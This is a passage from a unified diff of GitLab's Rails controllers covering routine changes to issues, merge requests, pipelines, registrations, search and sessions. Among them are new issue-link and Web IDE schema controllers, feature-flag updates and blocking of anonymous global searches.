+ def load_namespaces_with_associations
+ @load_namespaces_with_associations ||= fork_service.valid_fork_targets(only_groups: true).preload(:route)
+ end
+
+ def memberships_hash
+ current_user.members.where(source: load_namespaces_with_associations).index_by(&:source_id)
+ end
end
Projects::ForksController.prepend_if_ee('EE::Projects::ForksController')
diff --git a/app/controllers/projects/imports_controller.rb b/app/controllers/projects/imports_controller.rb
index deba71c9dd3..9bed12fd151 100644
--- a/app/controllers/projects/imports_controller.rb
+++ b/app/controllers/projects/imports_controller.rb
@@ -5,10 +5,10 @@ class Projects::ImportsController < Projects::ApplicationController
include ImportUrlParams
# Authorize
- before_action :authorize_admin_project!, only: [:new, :create]
+ before_action :authorize_admin_project!, except: :show
before_action :require_namespace_project_creation_permission, only: :show
- before_action :require_no_repo, only: [:new, :create]
- before_action :redirect_if_progress, only: [:new, :create]
+ before_action :require_no_repo, except: :show
+ before_action :redirect_if_progress, except: :show
before_action :redirect_if_no_import, only: :show
def new
diff --git a/app/controllers/projects/issue_links_controller.rb b/app/controllers/projects/issue_links_controller.rb
new file mode 100644
index 00000000000..2f7489373ed
--- /dev/null
+++ b/app/controllers/projects/issue_links_controller.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Projects
+ class IssueLinksController < Projects::ApplicationController
+ include IssuableLinks
+
+ before_action :authorize_admin_issue_link!, only: [:create, :destroy]
+ before_action :authorize_issue_link_association!, only: :destroy
+
+ private
+
+ def authorize_admin_issue_link!
+ render_403 unless can?(current_user, :admin_issue_link, @project)
+ end
+
+ def authorize_issue_link_association!
+ render_404 if link.target != issue && link.source != issue
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def issue
+ @issue ||=
+ IssuesFinder.new(current_user, project_id: @project.id)
+ .find_by!(iid: params[:issue_id])
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def list_service
+ IssueLinks::ListService.new(issue, current_user)
+ end
+
+ def create_service
+ IssueLinks::CreateService.new(issue, current_user, create_params)
+ end
+
+ def destroy_service
+ IssueLinks::DestroyService.new(link, current_user)
+ end
+
+ def link
+ @link ||= IssueLink.find(params[:id])
+ end
+
+ def create_params
+ params.permit(:link_type, issuable_references: [])
+ end
+ end
+end
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 2200860a184..7f0d23b79ce 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -10,13 +10,8 @@ class Projects::IssuesController < Projects::ApplicationController
include SpammableActions
include RecordUserLastActivity
- def issue_except_actions
- %i[index calendar new create bulk_update import_csv export_csv service_desk]
- end
-
- def set_issuables_index_only_actions
- %i[index calendar service_desk]
- end
+ ISSUES_EXCEPT_ACTIONS = %i[index calendar new create bulk_update import_csv export_csv service_desk].freeze
+ SET_ISSUEABLES_INDEX_ONLY_ACTIONS = %i[index calendar service_desk].freeze
prepend_before_action(only: [:index]) { authenticate_sessionless_user!(:rss) }
prepend_before_action(only: [:calendar]) { authenticate_sessionless_user!(:ics) }
@@ -25,9 +20,10 @@ class Projects::IssuesController < Projects::ApplicationController
before_action :whitelist_query_limiting, only: [:create, :create_merge_request, :move, :bulk_update]
before_action :check_issues_available!
- before_action :issue, unless: ->(c) { c.issue_except_actions.include?(c.action_name.to_sym) }
+ before_action :issue, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
+ after_action :log_issue_show, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
- before_action :set_issuables_index, if: ->(c) { c.set_issuables_index_only_actions.include?(c.action_name.to_sym) }
+ before_action :set_issuables_index, if: ->(c) { SET_ISSUEABLES_INDEX_ONLY_ACTIONS.include?(c.action_name.to_sym) }
# Allow write(create) issue
before_action :authorize_create_issue!, only: [:new, :create]
@@ -48,6 +44,8 @@ class Projects::IssuesController < Projects::ApplicationController
push_frontend_feature_flag(:vue_issuable_sidebar, project.group)
push_frontend_feature_flag(:tribute_autocomplete, @project)
push_frontend_feature_flag(:vue_issuables_list, project)
+ push_frontend_feature_flag(:design_management_todo_button, project, default_enabled: true)
+ push_frontend_feature_flag(:vue_sidebar_labels, @project)
end
before_action only: :show do
@@ -95,7 +93,7 @@ class Projects::IssuesController < Projects::ApplicationController
discussion_to_resolve: params[:discussion_to_resolve],
confidential: !!Gitlab::Utils.to_boolean(params[:issue][:confidential])
)
- service = Issues::BuildService.new(project, current_user, build_params)
+ service = ::Issues::BuildService.new(project, current_user, build_params)
@issue = @noteable = service.execute
@@ -115,7 +113,7 @@ class Projects::IssuesController < Projects::ApplicationController
discussion_to_resolve: params[:discussion_to_resolve]
)
- service = Issues::CreateService.new(project, current_user, create_params)
+ service = ::Issues::CreateService.new(project, current_user, create_params)
@issue = service.execute
if service.discussions_to_resolve.count(&:resolved?) > 0
@@ -143,7 +141,7 @@ class Projects::IssuesController < Projects::ApplicationController
new_project = Project.find(params[:move_to_project_id])
return render_404 unless issue.can_move?(current_user, new_project)
- @issue = Issues::UpdateService.new(project, current_user, target_project: new_project).execute(issue)
+ @issue = ::Issues::UpdateService.new(project, current_user, target_project: new_project).execute(issue)
end
respond_to do |format|
@@ -157,7 +155,7 @@ class Projects::IssuesController < Projects::ApplicationController
end
def reorder
- service = Issues::ReorderService.new(project, current_user, reorder_params)
+ service = ::Issues::ReorderService.new(project, current_user, reorder_params)
if service.execute(issue)
head :ok
@@ -167,7 +165,7 @@ class Projects::IssuesController < Projects::ApplicationController
end
def related_branches
- @related_branches = Issues::RelatedBranchesService
+ @related_branches = ::Issues::RelatedBranchesService
.new(project, current_user)
.execute(issue)
.map { |branch| branch.merge(link: branch_link(branch)) }
@@ -249,6 +247,13 @@ class Projects::IssuesController < Projects::ApplicationController
@issue
end
# rubocop: enable CodeReuse/ActiveRecord
+
+ def log_issue_show
+ return unless current_user && @issue
+
+ ::Gitlab::Search::RecentIssues.new(user: current_user).log_view(@issue)
+ end
+
alias_method :subscribable_resource, :issue
alias_method :issuable, :issue
alias_method :awardable, :issue
@@ -319,7 +324,7 @@ class Projects::IssuesController < Projects::ApplicationController
def update_service
update_params = issue_params.merge(spammable_params)
- Issues::UpdateService.new(project, current_user, update_params)
+ ::Issues::UpdateService.new(project, current_user, update_params)
end
def finder_type
@@ -340,10 +345,12 @@ class Projects::IssuesController < Projects::ApplicationController
def finder_options
options = super
- return options unless service_desk?
+ options[:issue_types] = Issue::TYPES_FOR_LIST
- options.reject! { |key| key == 'author_username' || key == 'author_id' }
- options[:author_id] = User.support_bot
+ if service_desk?
+ options.reject! { |key| key == 'author_username' || key == 'author_id' }
+ options[:author_id] = User.support_bot
+ end
options
end
diff --git a/app/controllers/projects/merge_requests/application_controller.rb b/app/controllers/projects/merge_requests/application_controller.rb
index 0bb4e0fb5ee..921da788ad2 100644
--- a/app/controllers/projects/merge_requests/application_controller.rb
+++ b/app/controllers/projects/merge_requests/application_controller.rb
@@ -43,6 +43,7 @@ class Projects::MergeRequests::ApplicationController < Projects::ApplicationCont
:discussion_locked,
label_ids: [],
assignee_ids: [],
+ reviewer_ids: [],
update_task: [:index, :checked, :line_number, :line_source]
]
end
diff --git a/app/controllers/projects/merge_requests/content_controller.rb b/app/controllers/projects/merge_requests/content_controller.rb
index eec5c1a4355..399745151b1 100644
--- a/app/controllers/projects/merge_requests/content_controller.rb
+++ b/app/controllers/projects/merge_requests/content_controller.rb
@@ -10,6 +10,9 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
before_action :set_polling_header
around_action :allow_gitaly_ref_name_caching
+ FAST_POLLING_INTERVAL = 10.seconds.in_milliseconds
+ SLOW_POLLING_INTERVAL = 5.minutes.in_milliseconds
+
def widget
respond_to do |format|
format.json do
@@ -29,7 +32,8 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
private
def set_polling_header
- Gitlab::PollingInterval.set_header(response, interval: 10_000)
+ interval = merge_request.open? ? FAST_POLLING_INTERVAL : SLOW_POLLING_INTERVAL
+ Gitlab::PollingInterval.set_header(response, interval: interval)
end
def serializer(entity)
diff --git a/app/controllers/projects/merge_requests/diffs_controller.rb b/app/controllers/projects/merge_requests/diffs_controller.rb
index bceccc7063b..8aacfdce094 100644
--- a/app/controllers/projects/merge_requests/diffs_controller.rb
+++ b/app/controllers/projects/merge_requests/diffs_controller.rb
@@ -4,7 +4,6 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
include DiffHelper
include RendersNotes
- before_action :apply_diff_view_cookie!
before_action :commit
before_action :define_diff_vars
before_action :define_diff_comment_vars, except: [:diffs_batch, :diffs_metadata]
@@ -21,15 +20,15 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
end
def diffs_batch
- return render_404 unless Feature.enabled?(:diffs_batch_load, @merge_request.project, default_enabled: true)
-
diffs = @compare.diffs_in_batch(params[:page], params[:per_page], diff_options: diff_options)
positions = @merge_request.note_positions_for_paths(diffs.diff_file_paths, current_user)
+ environment = @merge_request.environments_for(current_user, latest: true).last
diffs.unfold_diff_files(positions.unfoldable)
diffs.write_cache
options = {
+ environment: environment,
merge_request: @merge_request,
diff_view: diff_view,
pagination_data: diffs.pagination_data
@@ -65,7 +64,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
render: ->(partial, locals) { view_to_html_string(partial, locals) }
}
- options = additional_attributes.merge(diff_view: diff_view)
+ options = additional_attributes.merge(diff_view: Feature.enabled?(:unified_diff_lines, @merge_request.project) ? "inline" : diff_view)
if @merge_request.project.context_commits_enabled?
options[:context_commits] = @merge_request.recent_context_commits
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index e77d2f0f5ee..92785540172 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -10,8 +10,10 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
include IssuableCollections
include RecordUserLastActivity
include SourcegraphDecorator
+ include DiffHelper
skip_before_action :merge_request, only: [:index, :bulk_update]
+ before_action :apply_diff_view_cookie!, only: [:show]
before_action :whitelist_query_limiting, only: [:assign_related_issues, :update]
before_action :authorize_update_issuable!, only: [:close, :edit, :update, :remove_wip, :sort]
before_action :authorize_read_actual_head_pipeline!, only: [
@@ -25,9 +27,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
before_action :authenticate_user!, only: [:assign_related_issues]
before_action :check_user_can_push_to_source_branch!, only: [:rebase]
before_action only: [:show] do
- push_frontend_feature_flag(:diffs_batch_load, @project, default_enabled: true)
push_frontend_feature_flag(:deploy_from_footer, @project, default_enabled: true)
- push_frontend_feature_flag(:single_mr_diff_view, @project, default_enabled: true)
push_frontend_feature_flag(:suggest_pipeline) if experiment_enabled?(:suggest_pipeline)
push_frontend_feature_flag(:code_navigation, @project, default_enabled: true)
push_frontend_feature_flag(:widget_visibility_polling, @project, default_enabled: true)
@@ -36,10 +36,12 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:multiline_comments, @project, default_enabled: true)
push_frontend_feature_flag(:file_identifier_hash)
push_frontend_feature_flag(:batch_suggestions, @project, default_enabled: true)
- push_frontend_feature_flag(:auto_expand_collapsed_diffs, @project, default_enabled: true)
push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true)
push_frontend_feature_flag(:hide_jump_to_next_unresolved_in_threads, default_enabled: true)
push_frontend_feature_flag(:merge_request_widget_graphql, @project)
+ push_frontend_feature_flag(:unified_diff_lines, @project)
+ push_frontend_feature_flag(:highlight_current_diff_row, @project)
+ push_frontend_feature_flag(:default_merge_ref_for_diffs, @project)
end
before_action do
@@ -48,6 +50,8 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
around_action :allow_gitaly_ref_name_caching, only: [:index, :show, :discussions]
+ after_action :log_merge_request_show, only: [:show]
+
feature_category :source_code_management,
unless: -> (action) { action.ends_with?("_reports") }
feature_category :code_testing,
@@ -427,7 +431,13 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42438')
end
- def reports_response(report_comparison)
+ def reports_response(report_comparison, pipeline = nil)
+ if pipeline&.active?
+ ::Gitlab::PollingInterval.set_header(response, interval: 3000)
+
+ render json: '', status: :no_content && return
+ end
+
case report_comparison[:status]
when :parsing
::Gitlab::PollingInterval.set_header(response, interval: 3000)
@@ -442,6 +452,12 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
end
end
+ def log_merge_request_show
+ return unless current_user && @merge_request
+
+ ::Gitlab::Search::RecentMergeRequests.new(user: current_user).log_view(@merge_request)
+ end
+
def authorize_read_actual_head_pipeline!
return render_404 unless can?(current_user, :read_build, merge_request.actual_head_pipeline)
end
@@ -450,6 +466,10 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
params = request.query_parameters
params[:view] = cookies[:diff_view] if params[:view].blank? && cookies[:diff_view].present?
+ if Feature.enabled?(:default_merge_ref_for_diffs, project)
+ params = params.merge(diff_head: true)
+ end
+
diffs_metadata_project_json_merge_request_path(project, merge_request, 'json', params)
end
end
diff --git a/app/controllers/projects/metrics_dashboard_controller.rb b/app/controllers/projects/metrics_dashboard_controller.rb
index 51307c3665c..bc0a701b9fd 100644
--- a/app/controllers/projects/metrics_dashboard_controller.rb
+++ b/app/controllers/projects/metrics_dashboard_controller.rb
@@ -6,6 +6,8 @@ module Projects
# app/controllers/projects/environments_controller.rb
# See https://gitlab.com/gitlab-org/gitlab/-/issues/226002 for more details.
+ include Gitlab::Utils::StrongMemoize
+
before_action :authorize_metrics_dashboard!
before_action do
push_frontend_feature_flag(:prometheus_computed_alerts)
@@ -15,6 +17,15 @@ module Projects
def show
if environment
render 'projects/environments/metrics'
+ elsif default_environment
+ redirect_to project_metrics_dashboard_path(
+ project,
+ # Reverse merge the query parameters so that a query parameter named dashboard_path doesn't
+ # override the dashboard_path path parameter.
+ **permitted_params.to_h.symbolize_keys
+ .merge(environment: default_environment.id)
+ .reverse_merge(request.query_parameters.symbolize_keys)
+ )
else
render 'projects/environments/empty_metrics'
end
@@ -22,13 +33,21 @@ module Projects
private
+ def permitted_params
+ @permitted_params ||= params.permit(:dashboard_path, :environment, :page)
+ end
+
def environment
- @environment ||=
- if params[:environment]
- project.environments.find(params[:environment])
- else
- project.default_environment
- end
+ strong_memoize(:environment) do
+ env = permitted_params[:environment]
+ project.environments.find(env) if env
+ end
+ end
+
+ def default_environment
+ strong_memoize(:default_environment) do
+ project.default_environment
+ end
end
end
end
diff --git a/app/controllers/projects/pages_controller.rb b/app/controllers/projects/pages_controller.rb
index 2a8bc823931..9ad6bf4095a 100644
--- a/app/controllers/projects/pages_controller.rb
+++ b/app/controllers/projects/pages_controller.rb
@@ -21,7 +21,7 @@ class Projects::PagesController < Projects::ApplicationController
format.html do
redirect_to project_pages_path(@project),
status: :found,
- notice: 'Pages were removed'
+ notice: 'Pages were scheduled for removal'
end
end
end
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
index bfe23eb1035..c1734d2cd8a 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -63,10 +63,27 @@ class Projects::PipelinesController < Projects::ApplicationController
.new(project, current_user, create_params)
.execute(:web, ignore_skip_ci: true, save_on_errors: false)
- if @pipeline.created_successfully?
- redirect_to project_pipeline_path(project, @pipeline)
- else
- render 'new', status: :bad_request
+ respond_to do |format|
+ format.html do
+ if @pipeline.created_successfully?
+ redirect_to project_pipeline_path(project, @pipeline)
+ else
+ render 'new', status: :bad_request
+ end
+ end
+ format.json do
+ if @pipeline.created_successfully?
+ render json: PipelineSerializer
+ .new(project: project, current_user: current_user)
+ .represent(@pipeline),
+ status: :created
+ else
+ render json: { errors: @pipeline.error_messages.map(&:content),
+ warnings: @pipeline.warning_messages(limit: ::Gitlab::Ci::Warnings::MAX_LIMIT).map(&:content),
+ total_warnings: @pipeline.warning_messages.length },
+ status: :bad_request
+ end
+ end
end
end
@@ -247,7 +264,7 @@ class Projects::PipelinesController < Projects::ApplicationController
end
def latest_pipeline
- @project.latest_pipeline_for_ref(params['ref'])
+ @project.latest_pipeline(params['ref'])
&.present(current_user: current_user)
end
diff --git a/app/controllers/projects/product_analytics_controller.rb b/app/controllers/projects/product_analytics_controller.rb
index badd7671dcf..c019dc191d6 100644
--- a/app/controllers/projects/product_analytics_controller.rb
+++ b/app/controllers/projects/product_analytics_controller.rb
@@ -27,6 +27,10 @@ class Projects::ProductAnalyticsController < Projects::ApplicationController
.new(project, { graph: graph, timerange: @timerange })
.execute
end
+
+ @activity_graph = ProductAnalytics::BuildActivityGraphService
+ .new(project, { timerange: @timerange })
+ .execute
end
private
diff --git a/app/controllers/projects/releases_controller.rb b/app/controllers/projects/releases_controller.rb
index c48d573edbf..bd24aae980c 100644
--- a/app/controllers/projects/releases_controller.rb
+++ b/app/controllers/projects/releases_controller.rb
@@ -11,6 +11,9 @@ class Projects::ReleasesController < Projects::ApplicationController
push_frontend_feature_flag(:release_show_page, project, default_enabled: true)
push_frontend_feature_flag(:release_asset_link_editing, project, default_enabled: true)
push_frontend_feature_flag(:release_asset_link_type, project, default_enabled: true)
+ push_frontend_feature_flag(:graphql_release_data, project, default_enabled: true)
+ push_frontend_feature_flag(:graphql_milestone_stats, project, default_enabled: true)
+ push_frontend_feature_flag(:graphql_releases_page, project, default_enabled: false)
end
before_action :authorize_update_release!, only: %i[edit update]
before_action :authorize_create_release!, only: :new
diff --git a/app/controllers/projects/services_controller.rb b/app/controllers/projects/services_controller.rb
index ca2a19e67b0..9a69ef991dd 100644
--- a/app/controllers/projects/services_controller.rb
+++ b/app/controllers/projects/services_controller.rb
@@ -20,7 +20,7 @@ class Projects::ServicesController < Projects::ApplicationController
layout "project_settings"
def edit
- @admin_integration = Service.instance_for(service.type)
+ @default_integration = Service.default_integration(service.type, project)
end
def update
@@ -65,18 +65,20 @@ class Projects::ServicesController < Projects::ApplicationController
result = ::Integrations::Test::ProjectService.new(@service, current_user, params[:event]).execute
unless result[:success]
- return { error: true, message: _('Test failed.'), service_response: result[:message].to_s, test_failed: true }
+ return { error: true, message: s_('Integrations|Connection failed. Please check your settings.'), service_response: result[:message].to_s, test_failed: true }
end
{}
rescue Gitlab::HTTP::BlockedUrlError => e
- { error: true, message: _('Test failed.'), service_response: e.message, test_failed: true }
+ { error: true, message: s_('Integrations|Connection failed. Please check your settings.'), service_response: e.message, test_failed: true }
end
def success_message
- message = @service.active? ? _('activated') : _('settings saved, but not activated')
-
- _('%{service_title} %{message}.') % { service_title: @service.title, message: message }
+ if @service.active?
+ s_('Integrations|%{integration} settings saved and active.') % { integration: @service.title }
+ else
+ s_('Integrations|%{integration} settings saved, but not active.') % { integration: @service.title }
+ end
end
def service
diff --git a/app/controllers/projects/static_site_editor_controller.rb b/app/controllers/projects/static_site_editor_controller.rb
index 9ec50ff8196..e97a8db0b79 100644
--- a/app/controllers/projects/static_site_editor_controller.rb
+++ b/app/controllers/projects/static_site_editor_controller.rb
@@ -14,13 +14,27 @@ class Projects::StaticSiteEditorController < Projects::ApplicationController
end
def show
- @config = Gitlab::StaticSiteEditor::Config.new(@repository, @ref, @path, params[:return_url])
+ service_response = ::StaticSiteEditor::ConfigService.new(
+ container: project,
+ current_user: current_user,
+ params: {
+ ref: @ref,
+ path: @path,
+ return_url: params[:return_url]
+ }
+ ).execute
+
+ if service_response.success?
+ @data = service_response.payload
+ else
+ respond_422
+ end
end
private
def assign_ref_and_path
- @ref, @path = extract_ref(params[:id])
+ @ref, @path = extract_ref(params.fetch(:id))
render_404 if @ref.blank? || @path.blank?
end
diff --git a/app/controllers/projects/todos_controller.rb b/app/controllers/projects/todos_controller.rb
index 0b11ee9edc0..33205b93317 100644
--- a/app/controllers/projects/todos_controller.rb
+++ b/app/controllers/projects/todos_controller.rb
@@ -15,6 +15,9 @@ class Projects::TodosController < Projects::ApplicationController
IssuesFinder.new(current_user, project_id: @project.id).find(params[:issuable_id])
when "merge_request"
MergeRequestsFinder.new(current_user, project_id: @project.id).find(params[:issuable_id])
+ when "design"
+ issue = IssuesFinder.new(current_user, project_id: @project.id).find(params[:issue_id])
+ DesignManagement::DesignsFinder.new(issue, current_user).find(params[:issuable_id])
end
end
end
diff --git a/app/controllers/projects/web_ide_schemas_controller.rb b/app/controllers/projects/web_ide_schemas_controller.rb
new file mode 100644
index 00000000000..3d16a6fafd4
--- /dev/null
+++ b/app/controllers/projects/web_ide_schemas_controller.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Projects::WebIdeSchemasController < Projects::ApplicationController
+ before_action :authenticate_user!
+
+ def show
+ return respond_422 unless branch_sha
+
+ result = ::Ide::SchemasConfigService.new(project, current_user, sha: branch_sha, filename: params[:filename]).execute
+
+ if result[:status] == :success
+ render json: result[:schema]
+ else
+ render json: result, status: :unprocessable_entity
+ end
+ end
+
+ private
+
+ def branch_sha
+ return unless params[:branch].present?
+
+ project.commit(params[:branch])&.id
+ end
+end
diff --git a/app/controllers/projects/web_ide_terminals_controller.rb b/app/controllers/projects/web_ide_terminals_controller.rb
index 08ea5c4bca8..76bcaa9e80c 100644
--- a/app/controllers/projects/web_ide_terminals_controller.rb
+++ b/app/controllers/projects/web_ide_terminals_controller.rb
@@ -11,7 +11,7 @@ class Projects::WebIdeTerminalsController < Projects::ApplicationController
def check_config
return respond_422 unless branch_sha
- result = ::Ci::WebIdeConfigService.new(project, current_user, sha: branch_sha).execute
+ result = ::Ide::TerminalConfigService.new(project, current_user, sha: branch_sha).execute
if result[:status] == :success
head :ok
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index ba21fbddde1..848625ff6b5 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -42,10 +42,7 @@ class ProjectsController < Projects::ApplicationController
before_action only: [:edit] do
push_frontend_feature_flag(:service_desk_custom_address, @project)
- end
-
- before_action only: [:edit] do
- push_frontend_feature_flag(:approval_suggestions, @project)
+ push_frontend_feature_flag(:approval_suggestions, @project, default_enabled: true)
end
layout :determine_layout
@@ -98,6 +95,7 @@ class ProjectsController < Projects::ApplicationController
end
else
flash.now[:alert] = result[:message]
+ @project.reset
format.html { render_edit }
end
diff --git a/app/controllers/registrations/experience_levels_controller.rb b/app/controllers/registrations/experience_levels_controller.rb
index 5bb039bd9ba..38cffff91eb 100644
--- a/app/controllers/registrations/experience_levels_controller.rb
+++ b/app/controllers/registrations/experience_levels_controller.rb
@@ -12,7 +12,6 @@ module Registrations
if current_user.save
hide_advanced_issues
- flash[:message] = I18n.t('devise.registrations.signed_up')
redirect_to group_path(params[:namespace_path])
else
render :show
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 2a865aac767..a1252c68403 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -26,18 +26,18 @@ class RegistrationsController < Devise::RegistrationsController
end
def create
- track_experiment_event(:terms_opt_in, 'end')
accept_pending_invitations
super do |new_user|
persist_accepted_terms_if_required(new_user)
set_role_required(new_user)
+ track_terms_experiment(new_user)
yield new_user if block_given?
end
- # Do not show the signed_up notice message when the signup_flow experiment is enabled.
- # Instead, show it after successfully updating the role.
- flash[:notice] = nil if experiment_enabled?(:signup_flow)
+ # Devise sets a flash message on `create` for a successful signup,
+ # which we don't want to show.
+ flash[:notice] = nil
rescue Gitlab::Access::AccessDeniedError
redirect_to(new_user_session_path)
end
@@ -69,7 +69,6 @@ class RegistrationsController < Devise::RegistrationsController
return redirect_to new_users_sign_up_group_path if experiment_enabled?(:onboarding_issues) && show_onboarding_issues_experiment?
- set_flash_message! :notice, :signed_up
redirect_to path_for_signed_in_user(current_user)
else
render :welcome
@@ -89,7 +88,7 @@ class RegistrationsController < Devise::RegistrationsController
end
def set_role_required(new_user)
- new_user.set_role_required! if new_user.persisted? && experiment_enabled?(:signup_flow)
+ new_user.set_role_required! if new_user.persisted?
end
def destroy_confirmation_valid?
@@ -115,9 +114,7 @@ class RegistrationsController < Devise::RegistrationsController
def after_sign_up_path_for(user)
Gitlab::AppLogger.info(user_created_message(confirmed: user.confirmed?))
- return users_sign_up_welcome_path if experiment_enabled?(:signup_flow)
-
- path_for_signed_in_user(user)
+ users_sign_up_welcome_path
end
def after_inactive_sign_up_path_for(resource)
@@ -154,7 +151,7 @@ class RegistrationsController < Devise::RegistrationsController
end
def sign_up_params
- params.require(:user).permit(:username, :email, :email_confirmation, :name, :first_name, :last_name, :password)
+ params.require(:user).permit(:username, :email, :name, :first_name, :last_name, :password)
end
def resource_name
@@ -201,6 +198,13 @@ class RegistrationsController < Devise::RegistrationsController
true
end
+ def track_terms_experiment(new_user)
+ return unless new_user.persisted?
+
+ track_experiment_event(:terms_opt_in, 'end')
+ record_experiment_user(:terms_opt_in)
+ end
+
def load_recaptcha
Gitlab::Recaptcha.load_configurations!
end
@@ -208,7 +212,7 @@ class RegistrationsController < Devise::RegistrationsController
# Part of an experiment to build a new sign up flow. Will be resolved
# with https://gitlab.com/gitlab-org/growth/engineering/issues/64
def choose_layout
- if experiment_enabled?(:signup_flow)
+ if %w(welcome update_registration).include?(action_name) || experiment_enabled?(:signup_flow)
'devise_experimental_separate_sign_up_flow'
else
'devise'
@@ -216,7 +220,10 @@ class RegistrationsController < Devise::RegistrationsController
end
def show_onboarding_issues_experiment?
- !helpers.in_subscription_flow? && !helpers.in_invitation_flow? && !helpers.in_oauth_flow?
+ !helpers.in_subscription_flow? &&
+ !helpers.in_invitation_flow? &&
+ !helpers.in_oauth_flow? &&
+ !helpers.in_trial_flow?
end
end
diff --git a/app/controllers/repositories/lfs_api_controller.rb b/app/controllers/repositories/lfs_api_controller.rb
index f93038f455e..35751a2578f 100644
--- a/app/controllers/repositories/lfs_api_controller.rb
+++ b/app/controllers/repositories/lfs_api_controller.rb
@@ -46,7 +46,7 @@ module Repositories
end
def download_objects!
- existing_oids = project.all_lfs_objects_oids(oids: objects_oids)
+ existing_oids = project.lfs_objects_oids(oids: objects_oids)
objects.each do |object|
if existing_oids.include?(object[:oid])
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index 56b6a5201e7..dedaf0c903a 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -4,14 +4,18 @@ class SearchController < ApplicationController
include ControllerWithCrossProjectAccessCheck
include SearchHelper
include RendersCommits
+ include RedisTracking
SCOPE_PRELOAD_METHOD = {
projects: :with_web_entity_associations,
issues: :with_web_entity_associations
}.freeze
+ track_redis_hll_event :show, name: 'i_search_total', feature: :search_track_unique_users, feature_default_enabled: true
+
around_action :allow_gitaly_ref_name_caching
+ before_action :block_anonymous_global_searches
skip_before_action :authenticate_user!
requires_cross_project_access if: -> do
search_term_present = params[:search].present? || params[:term].present?
@@ -119,10 +123,22 @@ class SearchController < ApplicationController
super
# Merging to :metadata will ensure these are logged as top level keys
- payload[:metadata] || {}
+ payload[:metadata] ||= {}
payload[:metadata]['meta.search.group_id'] = params[:group_id]
payload[:metadata]['meta.search.project_id'] = params[:project_id]
payload[:metadata]['meta.search.search'] = params[:search]
payload[:metadata]['meta.search.scope'] = params[:scope]
end
+
+ def block_anonymous_global_searches
+ return if params[:project_id].present? || params[:group_id].present?
+ return if current_user
+ return unless ::Feature.enabled?(:block_anonymous_global_searches)
+
+ store_location_for(:user, request.fullpath)
+
+ redirect_to new_user_session_path, alert: _('You must be logged in to search across all of GitLab')
+ end
end
+
+SearchController.prepend_if_ee('EE::SearchController')
diff --git a/app/controllers/sessions_controller.rb b/app/controllers/sessions_controller.rb
index 9435b9887e9..318553b5e0a 100644
--- a/app/controllers/sessions_controller.rb
+++ b/app/controllers/sessions_controller.rb
@@ -11,6 +11,8 @@ class SessionsController < Devise::SessionsController
include Gitlab::Utils::StrongMemoize
skip_before_action :check_two_factor_requirement, only: [:destroy]
+ skip_before_action :check_password_expiration, only: [:destroy]
+
# replaced with :require_no_authentication_without_flash
skip_before_action :require_no_authentication, only: [:new, :create]
@@ -27,6 +29,9 @@ class SessionsController < Devise::SessionsController
before_action :save_failed_login, if: :action_new_and_failed_login?
before_action :load_recaptcha
before_action :set_invite_params, only: [:new]
+ before_action do
+ push_frontend_feature_flag(:webauthn)
+ end
after_action :log_failed_login, if: :action_new_and_failed_login?
after_action :verify_known_sign_in, only: [:create]
@@ -157,13 +162,13 @@ class SessionsController < Devise::SessionsController
(options = request.env["warden.options"]) && options[:action] == "unauthenticated"
end
- # storing sessions per IP lets us check if there are associated multiple
+ # counting sessions per IP lets us check if there are associated multiple
# anonymous sessions with one IP and prevent situations when there are
# multiple attempts of logging in
def store_unauthenticated_sessions
return if current_user
- Gitlab::AnonymousSession.new(request.remote_ip, session_id: request.session.id).store_session_id_per_ip
+ Gitlab::AnonymousSession.new(request.remote_ip).count_session_ip
end
# Handle an "initial setup" state, where there's only one user, it's an admin,
@@ -285,13 +290,15 @@ class SessionsController < Devise::SessionsController
end
def exceeded_anonymous_sessions?
- Gitlab::AnonymousSession.new(request.remote_ip).stored_sessions >= MAX_FAILED_LOGIN_ATTEMPTS
+ Gitlab::AnonymousSession.new(request.remote_ip).session_count >= MAX_FAILED_LOGIN_ATTEMPTS
end
def authentication_method
if user_params[:otp_attempt]
"two-factor"
- elsif user_params[:device_response]
+ elsif user_params[:device_response] && Feature.enabled?(:webauthn)
+ "two-factor-via-webauthn-device"
